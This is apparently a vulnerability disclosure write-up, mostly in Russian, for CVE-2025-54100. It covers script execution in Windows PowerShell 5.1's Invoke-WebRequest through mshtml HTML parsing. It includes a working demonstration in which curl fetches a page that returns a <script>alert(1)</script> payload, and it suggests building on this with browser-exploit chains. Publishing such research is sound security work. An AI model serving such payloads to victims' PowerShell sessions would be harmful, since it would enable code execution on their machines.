
Доказательство концепции для CVE-2025-54100: XSS в PowerShell Invoke-WebRequest через mshtml.HTMLDocumentClass, обеспечивающее удаленное выполнение кода при получении вредоносного JavaScript.
Powershell curl использует Invoke-WebRequest внутри.
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
Глядя на документацию параметра UseBasicParsing,
Этот параметр устарел. Начиная с PowerShell 6.0.0, все веб-запросы используют только базовый разбор. Этот параметр включен только для обратной совместимости, и любое его использование не влияет на работу командлета.
Проблема заключается в параметре UseBasicParsing командлета Invoke-WebRequest в Powershell. UseBasicParsing использует базовый разбор, он не выполняет никакой javascript-код. Он просто читает текст и разбирает его.
Если этот параметр не указан, Invoke-WebRequest запускает Internet Explorer внутри и пытается разобрать html-код, фактически выполняя его, используя mshtml.HTMLDocumentClass. Выполнение запроса curl на сайт, содержащий javascript-код, приводит к выполнению кода в браузере клиента. В нашем случае это окно терминала Windows.
Документацию mshtml.HTMLDocumentClass можно найти ниже.
https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument
Глядя на жизненный цикл из первого документа выше, мы видим, что:
Windows PowerShell 5.1 Aug-2016 Выпущен в Windows 10 Anniversary Update и Windows Server 2016, WMF 5.1 PowerShell 6.0 20-Jan-2018 13-Feb-2019 Создан на .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
После некоторых исследований мы заметили, что последние версии Windows 11, Server 22 и 25 поставляются со старой версией PowerShell (5.1, и она установлена по умолчанию), которая уязвима для XSS-атак.
Fresh Windows Server 22 installation,

Атака очень проста;

PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
Вы можете проявить творческий подход и выполнять такие вещи, как open("about:blank").

Также следует учитывать, что это может быть использовано в более крупных цепочках, таких как эксплойты браузера, для надежного выполнения или принудительного рендеринга браузера.
Severity: Important, Security Impact: Remote Code Execution и получил вознаграждение в размере $5,000.